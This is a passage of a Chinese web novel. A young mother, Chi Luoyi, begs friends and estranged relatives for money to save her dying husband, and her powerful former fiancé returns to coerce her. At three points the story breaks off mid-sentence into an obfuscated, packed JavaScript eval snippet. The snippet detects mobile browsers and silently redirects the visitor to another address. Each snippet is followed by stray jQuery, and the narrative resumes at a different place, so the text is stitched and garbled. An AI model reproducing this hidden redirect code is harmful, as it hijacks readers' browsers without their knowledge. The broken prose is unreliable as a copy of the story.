换了自己,大概也不会搭理一个莫名其妙玩失踪、又毫无预兆出现的所谓好朋友。 网上不是说嘛,一个很久不联系的同学突然联系你,不是要结婚就是要借钱。而自己结婚时没勇气通知她,好不容易鼓起勇气打了这通电话,也确实是为了借钱。 …… 浑浑噩噩到深夜,闷热的走廊开始摆开形形色色的折叠椅和折叠床。 消毒水混杂汗水皮屑的气味实在不怎么好闻。池落漪睡不着,和衣歪靠着墙壁发呆。同样睡不着的还有其他病人家属。有的坐着,有的躺着,守候在这扇生命之门的前方,生怕错过医生传来的讯息。 一旁的大娘正吃东西。吃的是超市里那种最便宜的、添满防腐剂的红豆面包。见她无聊,特意过来搭话,“姑娘,在这看到你好几回了。家里其他人呢?怎么没来换你?” “这样熬,身体要熬坏的呀!” 她抿了抿笑,轻轻道,“我和我丈夫没有亲人了。” 大娘一阵尴尬,“这样,怪可怜哈!那朋友、朋友也能帮忙看着。别怪我多嘴,实在是你脸色太不好了,蜡黄蜡黄的,叫人看着心疼啊!” 陌生人的善意像六月冰雹不期而遇,硕大的冰棱子把人插得千疮百孔。 她牙齿打颤,平复许久才抖着嗓音道,“朋友也……” 也不理我了。 有些人,血里有风。注会孤独一生。这样的人怎么配有朋友呢?她浑身发冷,无助地抱紧膝盖,最后几个字像淬毒的刀子似的,割的得喉咙鲜血淋漓,说不出来。这时,手机震了下。她点开讯息,愣住,随即反复确认。 “咋滴啦!”大娘好奇。 她又哭又笑,珍重地摇了摇头。 翌日十点,她来到市里的一家咖啡店。要见的人没怎么变,齐耳发,鹅蛋脸,五官偏幼态圆润。一身Chanel连衣裙将娇小的身材包裹得恰好好处,看着清纯甜美。 但六年未见,沧海桑田,又怎么会一点不变呢。 对方眼里分明有冷漠,有不屑,有愤怒,交织喷涌的情绪压得她脊背越来越底。 “好久不见。” 最虚伪的开场白。 包悦哼了声,“让你来不是叙旧,只是想看看某些没心肝的人如今是不是逍遥快活赛神仙了。” 池落漪头低下又抬起来,“你说什么我都认,这些年是我对不起你。而我今天找你,也确实带着很俗的目的。所以在你更加鄙视我之前,我希望你能告诉我一句真心话、” “你……过得好吗?” “重要吗?” “重要。” 包悦就这样盯着她,带着十足犀利的蔑视和审判。私心想从她眼神里找到这人虚伪、无情又自私的证据。可时光偏心,终究只在俗人身上留下印记。她依然清冷、纯白、自持而倔强,无声无息地走,干干净净地回。 可太干净了。 心气都没了。 一定受了许多苦。 六年思念喷涌,她再也憋不住,起身将人薅怀里。池落漪愣了下,受宠若惊地回抱住她。 就听她在耳旁嚎啕大哭,“坏漪漪臭漪漪!你到底有没有把我当朋友啊呜呜……你想离开池家,我支持你啊……钱都准备好了!你干嘛不告而别呢!” “你不好是不是?瘦成这样,憔悴成这样……为什么不早联系我?臭漪漪坏漪漪……呜呜呜……” 女人同样泣不成声,“我以为,以为你真不理我了。包子,你还好吗?你还没告诉我你好不好?哮喘还犯吗?” 她摇头,“身体倍棒吃嘛嘛香,就是老想起你。” “好漪漪,这些年你去哪了?” 两人互擦眼泪,在周围人诧异的打量中重新坐下来。 服务员端来两杯卡布奇诺,是包悦来时点的,从前她们最喜欢喝。 “我结婚了,落户到淳县。淳县是杭城下面一个偏远小镇,毕业后我一直在那里当老师。对了……” 池落漪打开手机,翻出几张照片给她看,“我女儿,叫小溪,小朋友六岁了,以后有机会我把她带来给你看。” “额……啊?好好好。” 信息量太大,包悦尴尬地端起咖啡喝了一口又一口。 同样27岁,她还当自己是少女呢。可昔日的好朋友不仅结了过还生了娃,太割裂了! “漪漪,你结婚是和……” “纪桥。”坦坦荡荡。 对面人先是一抖,然后一松,最后狂拍桌子,庆幸地舒了口气,“果然是纪学长!我就说嘛,他对你那么好,人也好,温文尔雅的,比盛时……啊不不,我是说比那些吃着碗里看着锅里的臭男人强多了!” 怕脱口而出的忿忿使当事人想起不开心的往事,她又忙转移话题,“我也好久不见纪学长了,怪想他的。周末你们一家再过来呗,我请你们吃大餐!桂语山房还是金沙厅?要不如院吧!我记得你最喜欢吃他们家的……” “包子。”池落漪打断她,起身,轻轻地鞠了个躬,“对不起,真的很对不起,我这回找你就是为了纪桥的事。” “哎呀,你这是干啥。”包悦把人拉坐下,“什么事这么郑重,你说,能帮我一定帮。” “……借钱。” 饶是做好了心理建树,说出来时还是难堪地低下了头。 “纪桥他病了,危在旦夕,医生说必须尽快进行人工心脏移植。可我缺钱,很多钱,所以不得不、” “就这?那必须呀!”她握了握她的手,又急又气,“人命关天,还涉及你会不会年纪轻轻成寡妇,谁不管我都得管!” “你说,要多少钱。” 女人来不及感激,唇瓣微微发抖道,“我手里有20万,加上卖房子的钱,总共能凑一百万差不多。而换心手术连带后续保养修复,大概需要四百万……所以想先向你借一百万。有了这一百万,便可以植入人工心脏了。” 至于其它费用,自己会边工作边挣。十年,二十年,只要活着,总能还清债务。 包悦神色复杂地摇了摇头,“才一百万,不过本小姐三个月的零花钱。卡号给我,我这就给你转。”边说边打开手机捣鼓,“一百万够吗,我给你转两百万吧。” “这个卡一天上限是一百万,剩下一百万我明天分五次给——握草?!” 池落漪神经一紧,“怎么了?” 她蹙眉,“支付失败。等等,我换个卡,你别急哈。” 她点头,强撑地笑了笑,心头涌起一股不详的预感。 果然,接下来的三分钟,包悦试了十几张卡,竟然没有一张可以转出钱来。 她气疯了,将几家银行的人工客服骂得狗血淋头。冷静一会儿后,她似乎意识到问题根源,出去给她老爹包六祥打了个电话,半晌不知所措地走回来。 “漪漪,对,对不起……我这边出了点问题。” “Q/Q账号你不是不用了吗?那我们加个微信,我把我微信钱包里的十万多块零用钱先转你。剩下的我回去想办法,大不了跟包六祥拼了!总之相信我,我一定帮你筹齐!” 耳鸣剧烈,脑海里反复回放纪桥咳血沫的画面,女人牙都咬碎了,此刻她已经不能将发生的种种当作巧合。显然,有人在故意搞她。 “发生了什么……” “直接告诉我吧。” 包悦脸色渐而沉重,艰涩道,“不确定。漪漪,我现在就去调查。你先回去等我,一定要等我!千万别再消失不见了!” 说完抓起包就走。 然而刚迈几步,她又折回来,怀揣满腔孤勇,英勇就义般跺了下脚,“其实刚见面时我就想告诉你的、” “漪漪,他回来了。” * * 纪桥住院的事终究没瞒过小溪。 从市里回来第二天,母女俩从家出发前往医院。 一路上堵堵停停,一小时的路程开了快四十分钟、才走一半。忽略车内细细流淌的钢琴曲,能清晰听到四面八方传来的鸣笛声和咒骂声。 不怪后面人没素质。 这已经是池落漪第三次挂档未踩刹车而导致熄火了。 “……妈妈?” “嗯。” “稍等小溪,很快就好。” 绿灯开始闪烁,车打火顺利穿过路口。女孩松了口气,通过前视镜偷偷打量她。 “你在担心爸爸吗?” “没有。” “可你昨晚哭了。” “……什么时候?” “在阳台。” “没哭。你看错了。” 小溪不争辩,学云嫂长长地叹了口气,“好吧,好吧。” 女人笑得勉强,“等下见到爸爸,小溪明白该怎么做吗?” 她闷闷点头,“明白。要笑,开心地笑。千万不能哭。云嬷嬷说爸爸最喜欢看小溪笑了。” “嗯,真乖。” 拐过两个弯,医院到了。 走廊乱糟糟的,脑袋扎堆往小窗口看。她顿感不妙,跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“麻烦你了。”说着要下床。 “你坐,我去看看桥哥。” 包悦把她按回去,问,“怎么看?” 她搓了把脸,“对,我忘了,他应该还没醒。可我不能干等,他醒之前有好多事要做。” “缴费……挂阜外的专家号……联系中介……对,还要借钱。” “包子,我不跟你说了,我要赶紧去借钱。公司雪藏我,外公外婆年纪大了,他们都没有钱。怎么办,对,我找银行……找邻居,我求他们,求他们借钱给我!” “漪漪——” 她挣扎,状况越来越不对劲。手一挥,吊针从皮肉里被拽出来。 鲜血迸出,触目惊心,包悦赶忙去按。可女人不让她按,手脚并用,固执地从床上爬下来。 她没看过这样失控的池落漪,竟像个疯子似的。瞪着眼,不修边幅,身体和精神一片干涸。她束手无策,只能紧紧抱住她,不叫她真光着脚往外跑。 “漪漪你别这样,冷静,你还有我,我在呢……啊?” 她哭,近乎嚎啕,“他要死了!你知道吗包子,他快要死了!我要去借钱,有了钱他就能活下来!我怕……我好怕他等不到做手术的那一天……为什么老天要这样对待我!” 认识以来,她清冷,淡漠,从不生不值得的气,从不对抗既往的命运,也从不把不在乎的人放在心里。 因此即使很小没了父母而流离失所,被叔婶利用、被堂兄妹欺辱、被未婚夫无视,也不屑怨天尤人,骨子里的乐天派。 可今天…… 手臂越收越紧,心翻搅地疼。她该多痛、多绝望,才想起来责怪命运。才知道老天的馈赠从来不公平,落到肥处迎风长,落到瘦处苦一生…… 哭累,已经是半小时后的事了。见她平静些许,包悦便把自己这边的情况说给她听。 那天回去,她找包六祥对峙。喜欢盘核桃的胖老头难得坦荡而硬气,说就是自己停得她的卡。 不仅如此,她名下所有动产不动产都被冻结了。总结就是除了日常吃喝住行,她将不再有一分闲钱游戏人间。 她不服,赌气离家开始找各路朋友借。可奇了怪了,杭城有钱圈子里的公子哥大小姐一夜之间全部从良,问谁谁哭穷,发来的微信钱包截图全是贫瘠的四位数。 这怎么可能呢? 傻子都能看出其中的猫腻。 “你觉得是不是他做的?” 5. 第五章 池落漪没有装傻,“不知道。” 包悦撇嘴,“我觉得是。你想他出国治腿有五年了吧?天高皇帝远,除了最初那两年,竟然能把晟昱牢牢握手里!盛老爷子再独宠他、也架不住旁支亲属轮番给压力。” “可那货偏做到了,心计真深。” “如今腿好了,又能蹦能跳了,可不得出来作妖?以我对男人的理解,他踹了你还好,可当初是你踹了他!对那种眼睛长头顶得男人说,没个十年八年忘不了。” “等着吧,什么雪藏啊停我卡啊都是小case,肯定还有后招。” 她垂眸,恰吹来一阵风。风卷得睫毛痒痒的,忍不住抬手揉。 “他不会做没意义的事。” 对一个从小含着金汤匙长大的人来说,权利、金钱和唯我独尊的地位才是他的追求。感情,大概只占他人生组成的1%。非要往多了说,“欲望”更准确,可无论是从前还是现在,愿意满足他欲望的人前仆后继。何况,他本就不是个重欲的人。 可包悦不这么想。 一句“你怎么知道没意义”堵在嗓子眼上去又下来。 男人纠缠喜欢的女人就跟狗闻到骨头香似的,是动物天性。 可再想想,如今一方都有老公孩子了,还能翻出花来?确实没意义。 “漪漪,我一直后悔。” “如果当初我没有把那些东西转发给你看,你和他,是不是就不会走到这步了。” 女人摇头,沉默地看向窗外,看枯叶飞舞盘旋,努力将残败的身体荡得高点,再高点,好像这样就能逃脱碾落成泥的宿命。 可命就是命,注定了的。 时隔多年,老和尚的话又浮现在耳边,梵音清澈。 “是我种下的因,” “不怪你。” …… 翌日,池落漪把小溪托付给包悦,自己开车回淳县处理卖房事宜。 医院离不开人,她不想走,怕纪桥醒了找不到她。可打了几通电话都联系不上中介,只能实地过来。 原本只是想催一催,毕竟卖房的钱占手术费大头。 但中介见了她,一改殷勤态度,说公司不接她这单了,理由竟然是户主病重,买家们觉得这房子的风水不好。 女人不善于吵架,但不代表她一点脾气没有。 反手一个投诉电话,冷静而理智地阐述自己受到的不公平待遇。 相关部门给出保证后,她就着手机地图开始一家家跑房产中介公司。大的小的,正规的不正规,都去了。无一不被笑着迎进去、面无表情送出来,五花八门的理由。 为什么? 这些天她一直在问自己。 在被踢出《听君录》剧组时,在求助包子不成反连累她时,在樊姐打电话告知公司依旧不让她恢复工作时……一次又一次失望,一次比一次绝望。 到如今,房子都卖不出去了。她果然是个不祥的人。 又一家出来已近正午,日头藏在云层下欲露不露。 头顶笼罩着一股热气,宛如刚揭开的蒸笼,闷热得叫人喘不过气来。 她在一家打印店门前蹲下来,汗珠顺着额头滑落,吧嗒嗒滴在地砖上。 九月秋老虎,三伏出伏后的短暂回温天气最容易热坏人。打印店老板媳妇儿以为她中暑了,出来把人扶进屋,小心翼翼地喂了她一杯加糖的温水。 心悸缓和。 池落漪感激地弯了弯唇。环顾四周,忽然问有没有电脑。 电脑有,但店家两口子极度担心她的精神状态。于是在她调出word打字起,你一句我一句地与她唠嗑。 唠的话天南海北。说祖辈逃荒,说改革开放,说下海失败落户杭城,最后连自家闺女嫁人没要彩礼都说了……主题就是接受人生无常、乐观面对挫折。 东西做好了,池落漪交给他们,嘱咐打印100份。 A4图幅上有图有字,是排版清晰而秀气的房租出售启事。 “你姓池呀!” 她点头,“嗯”了声。 “嘿,真巧,我们家这口子也姓池。池姓不多见,说不定五百年前是一家呢!冲这缘份,我给你算便宜点。” 她点头,似乎又“嗯”了声。 纸张打好了。 她多付了几拢双面胶的钱,便抱着袋子,慢腾腾往外走。 老板媳妇儿叫住她,“外面天真热,你再凉快会儿呗?” “不然带瓶水,我看你脸色不好,别又中暑了,拿着拿着——” “哎?!” “你怎么哭了?” 不仅哭,还隐隐约约叫了声妈妈。 夫妻俩手足无措,应也不是不应也不是,就这样心疼地望着,直到她把眼泪流干。 “如果我爸爸妈妈活着,应该就是你们这个样子。对不起,真对不起。” “我太想他们了。” …… 走一路贴一路。不仅淳县,周边的几个县也去了。 天慢慢暗下来,蜻蜓低飞。 手上形成肌肉记忆,不知疲倦地在电线杆上、在居民楼下、在拥挤热闹的小吃街重复张贴动作。 然而一声惊雷响彻,阴沉的天空瞬间被一道刺眼的光芒撕裂。 接着,乌压压的黑云翻滚而来,轰隆隆,轰隆隆。 这是暴风雨来临的预兆。 人群奔走,商贩四散。 唯有池落漪愣在原处。 不能下雨……下雨,她贴的广告便全毁了!砸,按,拼命用手心捶打被风吹翘边的打印纸。 只是该来的终究会来。 很快睫毛一颤,有湿润的东西砸脸上。 街道变成湍急的河流,七叶树在风中狂舞。无休无止的雨与炸裂的雷鸣交织成一片,将乡镇喧嚣悉数吞噬。 “喂!躲雨啊!” 行人的背影在灯火阑珊下拉长又缩短。池落漪听到了,又仿佛没听到,手一松,无数纸张在身后飞舞…… 她瘫软在地,崩溃大哭。可包悦在这时候打来电话,说小溪想她了。 听声音,她们在一起玩得很好。 “妈妈!包子阿姨家好大好漂亮呀!我嘞个豆,外头是西湖……我当然听话啦……我们刚刚吃了意大利面,喝了杨枝甘露,阿姨还帮我涂了布灵布灵的指甲油!” “爸爸好些了吗?我可以回去了吗?小溪想回去陪妈妈和爸爸,小溪不想妈妈再一个人偷偷哭了。” 手颤抖地捂住话筒。 包悦发现端倪,“怎么那么吵?别告诉我这暴雨天、你在外面?” 她抬眸,眼底血红。 “包子,我不信命了。” “啊?什么意思?”对面人的语气越来越焦急,“你要做什么?你在哪,我去接你,喂,喂?漪漪你千万别做傻事啊,你来我这,我们慢慢说——” 嘟……通话终止。 女人摇摇晃晃地站起来,雨水正尽情冲刷她没有一丝血色的脸颊。 血红视线里,无数光点在旋转,跳跃,将世界分割成斑驳陆离的片段。 其中一片中,她看到了自己。苍白而灰败,提线木偶般。这样的人,怎么能过好人生? 没有爸爸妈妈,但曾经的好朋友不计前嫌关怀她。丈夫危在旦夕,女儿却很懂事,和自己一样珍惜原本那个幸福完整的家。 已然孑然一身,就什么都不怕。前二十几年随波逐流的生命中,从没有任何一个时刻、像现在这般一腔孤勇地抗拒过命运。 对,不信命了。 吉利icon冲进雨幕…… * * 萧山湘湖是杭城有名的富人区,从池老爷子那辈开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745776|189883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始便扎根于此。 16岁的那个盛夏,她第一次回所谓的“家”。满眼奢靡金碧辉煌,将小小瘦瘦的女孩笼罩在庞大的阴影里。 如今再度站在经年的院门前,满目疮痍,此时的池家早已是金玉其外败絮其中的空架子。 不用敲门。 老管家刘妈发现了她。 刘妈大概是这个家里唯一尊重她的存在。朴实,勤劳,身上有和外婆一样的肥皂香。 那些无聊且灰暗的岁月,她吃冷饭、被捉弄,常常遍体鳞伤。是她偷偷帮自己、关照自己,还会在她生病的时候,讲许多父亲小时候的事。 “漪漪……是漪漪吧?” 妇人撑伞隔着雨幕叫她。 池落漪微微抬起伞柄,不再稚嫩的脸毫无遮挡地呈现在斑驳灯光下,眉眼如丝,恍若隔世。 “哎呀!真是漪漪!”她开门,激动地差点摔了。时光不饶人,她不仅白发多了,行动也变得缓慢而蹒跚。 “你这孩子,多少年没回家了!” 女人羞愧地低下头。 “对不起,刘妈。” 她摇头,又哭又笑,颤巍巍地把人拉进来,“刘妈懂你为什么离开,又为什么突然回来。这样瘦、这样憔悴,一定在外面吃了许多苦。” “别怕,他们欠你的。” “所以无论你要什么、做什么,我一定拼了老命帮你!” …… 进门晃了晃眼。 于来人是,于主人也是。 郭美娟收回砸向池辉的烟灰缸,起身,不可思议地笑了,“这不是跟咱们断绝关系的池家大小姐池落漪么?啧啧,没变,还是这副穷酸样。” “当初说什么来着?说再也不踏进池家大门一步!多清高多有骨气!怎么,才坚持几年,就回来了?!” 池辉拉扯她,“少说几句!” 她并不听,起身兴奋地冲二楼喊道,“晴晴,兴昂,都下来!下来看笑话喽!” 池落漪走到客厅,与下楼的池怡晴撞个正着。 郭兴昂吹着口哨稍稍落后,眯着眼,却是反应最大的那个——几声贼笑,绕着她打量三百六十度。视线最后落到她因淋雨而贴身凸显的胸前,嘴角勾起来,目光粘腻而裸露。 “有些东西还得是天生的。”他回头嘲笑自己妹妹,“隆得怎么看都假。” “你说是吧?” 池怡晴白他,朝他竖了个中指。竖完笑盈盈地跑上前,扬手,飞快给了不速之客一巴掌。 女人预料到她会刁难,却没想到如此突然。这巴掌太重了,扇得她头晕目眩。正踉跄,偏又有一只脚伸过来,绊得她重心不稳摔地上,膝盖撞击地板发出闷响。 兄妹俩没变,只有对付她时会统一战线。 “贱人,还敢出现在我们家人面前?嫌这几年害我们害得不够?” “哦~我知道了,该不会听说时寒哥哥腿好了回国了、后悔不已,又想拿爷爷的遗嘱邀恩再续前缘吧!” 她忍着脸颊火辣辣的胀痛,在刘妈的搀扶下站起来,道,“池怡晴,我不来找你,所以你没资格打我。这巴掌我会还的。” 然后不等这三人跳脚,径直走向池辉面前,语气稍有缓和地问道,“二叔,好久不见,您身体还好吗?” 池辉讪讪地点头,“还好还好。漪漪,来,坐。” “不坐了。”脸肿起来,牵扯着口腔痛,她只能一个字一个字地说。 “我刚得知一件事情,原来爷爷在遗嘱里给我留了一份信托资金。由于当时未成年,便由指定监护人、也就是二叔您代为领取和管理资金。” “而我成年后,这笔信托应当自动将剩余资金及收益交付到我名下,无需监护人干预。” “可为什么……” 她低头哂笑,“我从头到尾都不知道这件事。” 6. 第六章 池辉心虚地说不出话,脸青一块白一块的。反倒郭美娟怒了,瞪过来,显得那双吊梢眼刻薄寡恩。 “谁他妈告诉你的?有证据吗!红口白牙的就一番突突,抢银行啊!” 刘妈站出来,激动道,“是我告诉大小姐的,老爷活着时的代理律师也一清二楚!二老爷二夫人,人在做天在看,你们不能连这笔钱都贪了去,漪漪她是你的亲侄女啊!” “那又怎样?当初她跟我们断绝关系时说得一清二楚,将来是生是死、是贫是富,都不要池家的一分一毛!现在反悔,晚了!给我麻溜滚出去!” “还有你这个老不死的也滚!不看在池辉小时候吃过你几口奶的份上,早把你撵了!轮到你在这里吃里扒外么!” “你——” “够了!”池辉焦头烂额,“天天个吵吵吵,老子的福气都你们吵散了!” 顿了下,对她的态度也不客气起来,“你说的这个我承认有。” “但池家这些年经营危机不断,什么钱都拿去补窟窿了。而且你确实说过不要池家的财产。你不要,那都是二叔的,二叔想怎么处理都行!” 池落漪笑了,唇畔弧度清浅,掩盖了一闪而过的嘲弄与苦涩。 “行,我不要。但抛开这些,还有一笔账要算。” “爷爷留下这笔信托,意味着在我离开前的所有花费都是二叔二婶有义务支付的,我并不欠二位什么。所以请将这些年来我支付的生活费退还回来。” “五年六十个月,六十万,对您来说不算什么,但我现在很需要这笔钱。” 池辉张了张口,神色复杂地看向妻子。郭美娟则撇过脸,夸张笑道,“说什么鬼东西?六十万?丢我家门口都没人捡!” 她深吸一口气,不紧不慢调出银行卡账单,道,“如果你拒不承认,我只能鱼死网破了。” “池怡晴现在在做主播吧?听说粉丝不少。还有你儿子,好像要和白家的孙女订婚了。这时若出现类似私吞孤女信托的不良舆论,你猜网友和白家长辈还会不会给池家好脸?” “何况我知道的池家密事不止这些,对吧?” 池怡晴和郭兴昂脸色同时变了。郭美娟护犊子,上来抓她头发,喊打喊杀。刘妈保护她,拼命把人护到身前。 眼瞧控制不住局面,池辉下意识往楼上跑。而池落漪大概是习惯了他的“下意识”,挣开束缚,飞快跟着进了书房,在其他人进来前果断反锁—— “二叔。” 她跪下来,扑通一声。 主人吓一跳,“你这是干什么!六十万是吗?好好好,我这就让她还你。” 她摇头,依旧挺直背跪着。按说该掉两滴眼泪博取同情,可眼底黑漆漆一片,伸手不见五指。 “其实我这次来不是要账,是……借钱。” “二叔,我结婚了。我丈夫纪桥是个很好很好的人,对我也很好。但他现在生了病,需要很多钱做手术。我也是没办法了、才来求您,您能借我两百万急用吗? “这……” “我会还的!” 女人不知道怎么表决心,仓惶地举手,“那六十万我也可以不要,就当作利息,只要你能借给我!” 池辉望着眼前这张熟悉又陌生的脸,恍惚回想起她第一次来池家、穿半成新棉麻白裙子不卑不亢问好时的情景,竟然觉得恍若隔世—— 自己老了,她同样被生活磨平了棱角。 “漪漪,当初你决意和池家断绝关系,盛家便断了对公司的所有援助,你知道二叔这些年有多艰难?” “人应该为自己的选择负责任。所以莫不说是两百万,就是二十万,我也没义务借给你。” 脑海一瞬浮现那些本已淡忘的不公、利用和屈辱,窒息感铺天盖地。 但她知道自己只能认错,不认错,就会永永远远失去桥哥。 “是……当初是我冲动。” “我不孝不忠不友不悌,不配做池家的子孙、您的侄女。但我爸爸、你的亲哥哥,您也不认了吗?” 池辉瞳孔一震,敏锐察觉这句话中所蕴含的四两拨千斤的震慑力。 外头风雨交加,而由钢筋混凝土建构的这间书房就像一只经年陈旧的铁壳子,黑暗、空旷,清晰映射两人良心交锋的剑影刀光。 然而不等他把“好”字说出来,书房门粗暴地开了。 落漪,落漪…… 被拖出别墅丢雨里时,浮萍确实激起了湍急径流的点点涟漪。 “想借钱?那就在这跪着吧!” 眉眼与自己有两分相似的女孩最喜欢做一些恶毒而天真的游戏。 “跪上个三天三夜,说不定我妈就心软了。但你要是走了,那六十万我们都不给你!” …… 雨实在太大。 从前只觉得杭城的路堵,不像云泽地广人稀,随处都能踩出羊肠小道。 气象也不同,云泽四季如春雨水充沛,杭城却少雨。这么霸道的雨,印象里只有两次。 一次是现在,另一次…… 大概脑子进水了。 怎么都想不起来。 身体渐渐发冷,腰酸背痛。然后手麻、脚麻,浑身血液循环不畅。 她不知道自己在跪什么,又在期盼什么。 跪在人生留痕的三两过客,跪不公的老天。期盼所谓的亲人还存有一丝善念,期盼命运会有燃烧着爬上山巅、布散烈烈朝晖之时…… 这是一场赌博。 只能赌。 仿佛没过多久,又仿佛过了很久,周围一切都迷离了。 她看到爸爸妈妈朝她走来,千禧年的装扮,说进城一趟,很快回来……看到外公外婆白发苍苍,殷切叮嘱她,脚步蹒跚地跟在汽车后面…… 看到群山巍峨,纪桥一步步把自己背下395级台阶,累得瘫在地上,说以后我照顾你……看到小溪还是婴儿时,咿呀学语,新手爸妈争着教她念ABCD…… 已经失去的都失去了,没失去的也终将远离自己吗? 她又看见一只骨瘦如柴的灵魂在无声嘶吼。 …… 终于,头顶的雨停了。 恍惚出现一把黑色的伞。 因为长时间低头,脖颈变得僵硬,她一点点抬起来。 考究的皮鞋,熨平的裤脚。由下及上西装革履,包裹着成熟男性高大而强势的身躯。 再往上,冷白的手轻巧把握黑色伞柄。脖颈线条流畅,严格包裹在衬衣领带的束缚中,更衬得喉结凸显,下巴削薄,鼻梁挺直…… 其余一半面容隐藏在黑暗中,看不清,晦暗不明,回忆却开始自动描摹眉眼的凌厉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745777|189883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样冷而淡漠的脸,从来只有一人拥有。 “池落漪。” 不急不缓,甚至有些温柔的嗓音在耳畔响起,残忍地撕裂希冀。 真的不是梦吗。 她看清了来人眼底的波澜不惊。 “当初为了退婚,你和池家断绝关系,对半残的未婚夫不闻不问,甚至狠心打掉我的孩子……” “我以为你不会后悔,现在却抛却尊严来求不惜一切逃离的人、” 跪下来,单膝着地。与薄荷加冷檀气味一同降临的是指腹冰凉的触感。 “你就这么爱他?” 充满讥笑的一个疑问。 池落漪闭眼,再睁开,睫毛剧烈抖动。不知是泪还是雨的东西顺着脸颊滑下来,濡湿男人虎口的薄茧。 六年白驹过隙。 无数普通而平凡的日子里,她热爱家庭,努力生活,把每一天都过得懒散而快乐。 她很少去想以前,偶尔想到,也只觉得那些人和事在渐而模糊。心澜不会波动,呼吸不会跳跃,纪桥和小溪的存在令她无比满足…… 可现在、 “池落漪是么?听好了,我可以娶你,也可以照顾你,但请不要对我有太多期待,因为我不会喜欢你。” …… “别误会。无论如何你现在还是我的人,他在我眼皮子底下做这种事,是在挑衅我盛家的权威。” …… “既然你单着,我单着,不如我们谈恋爱试试吧。不成,我帮你说服你叔叔婶婶。退婚,还你自由。” …… “我们在一起不好吗?我对你不好么?是我犯得错真那么罪大恶极、还是你池落漪腻歪了我,所以擅自做主打掉我的孩子!” …… “你说得对,孩子为证,一切都回不到从前了。池落漪,你最好祈祷我永远站不起来,否则真到了那一天,我会叫你后悔走出这扇门——” 回忆戛然。 后悔么? 眼前这张脸陌生而熟悉。 记起来,简单。可当初忘记,大概花费了许多再生不了的精力和心血。浅色瞳仁就这样碎裂开来,留下满目疮痍。 可她笑了,很轻地弯了弯唇。透过薄雾,望过来。安静的,麻木的,又比以往的每一次都分明坦诚地直视他的眼睛,“是,我爱他。” “所以后悔、” “后悔当初为什么要为了不重要的人断却自己唯一的退路。” 伞柄在掌心间折裂。 鲜血汩汩冒出来。 那血顺着手腕蜿蜒,隐入洁白硬挺的袖口中,染红一片。 她闻到血腥味。 新鲜的,冰冷的,混杂湿热的雨和泥土的味道,钻进鼻息,顺着血液往子宫的位置流。 一瞬痉挛。 疼,太疼了。 疼痛几乎要将她的脊背压弯。 男人怒极反笑。道,“好。” “那我也不妨告诉你。” “整个杭城,就算你把膝盖跪烂,都不会有人借钱给你。” 他起身,丢垃圾一样将卡扔到她膝前。 “现在我是你唯一的退路。” “离婚,和那个药罐子的命、” “自己选。” ———第一卷完——— 7. 第七章 池落漪是个乐天派。 至少十岁之前是这样。 做小孩时,她觉得自己很幸运。父母恩爱,家境殷实,外公外婆把她放手心里捧。或许是养得太滋润了,又继承了母亲白歆潇的美貌,茶镇上下数千善良朴实的茶农们亲切称她是勐莱乡百年一遇的“少哆哩”。 父亲池耀是杭城池家的长子,在云泽边陲做特种兵的时候认识了母亲。两人一见钟情,偷偷谈起恋爱,退伍后自然而然结成夫妻。 对于两人的结合,并没有出现双方家长棒打鸳鸯的戏码。一方面白家当时的家境还算殷实,另一方面,池家祖辈靠枪杆子发家,素质觉悟跟党走,绝对遵循自由恋爱的现代化潮流。 可以说,池耀的婚后生活是极其幸福的,就连他想定居云泽,池老爷子池国煊都没有过渡苛责。 两年后,池落漪降生了。 勐莱乡久旱逢甘霖,天降祥瑞。自此一家三口相濡以沫十个寒暑,成为人人艳羡的模范家庭。 如果日子能一直这样过下去,平淡而温馨,池国煊大概会慢慢放弃叫儿子回杭城继承家业的想法。可一场蓄谋已久的“意外”的发生,令这个家庭在一夜之间发生天翻地覆的变化。 曾被池耀参与打击过的贩毒团伙残余势力偷渡入境,辗转发现了这位激流勇退的神枪手故人。 几经跟踪,他们出手了。 第一枪打中池耀的腹部,第二枪打穿了白歆潇的胸骨。 鲜血浸染云泽八月的天空,池耀清楚地知道妻子活不成了。 他穿越枪林弹雨直逼匪首,夺枪反杀,一个不留,最终倒在血泊里,大手紧紧握住妻子的小手…… 那时的池落漪刚刚十岁。 知道“死”是什么,却不知道“死”代表什么。 警察将池耀和白歆潇的遗体送回来的那天,满城悲怆,外公外婆和爷爷哭到昏厥。她却一滴眼泪没掉,就这样跪在冰棺旁,添油,烧纸,安安静静地注视着他们。 偶尔想,不就是没把糖果子买回来、怎么还耍赖装睡呢?倒要看看他们想装睡到什么时候。 直到很多天,很多个岁月后,池落漪发现自己想爸爸时只能抱着冰冷的烈士证书,想妈妈时只能闻一闻她最喜欢穿的那条裙子,才明白,他们不是在装睡,是真从这个世界上消失了。 …… 爱子牺牲,池国煊想把他唯一的骨血带回去。奈何两位亲家伤心过度一病不起,彼时无法再失去这个从小在身边长大的命根子。 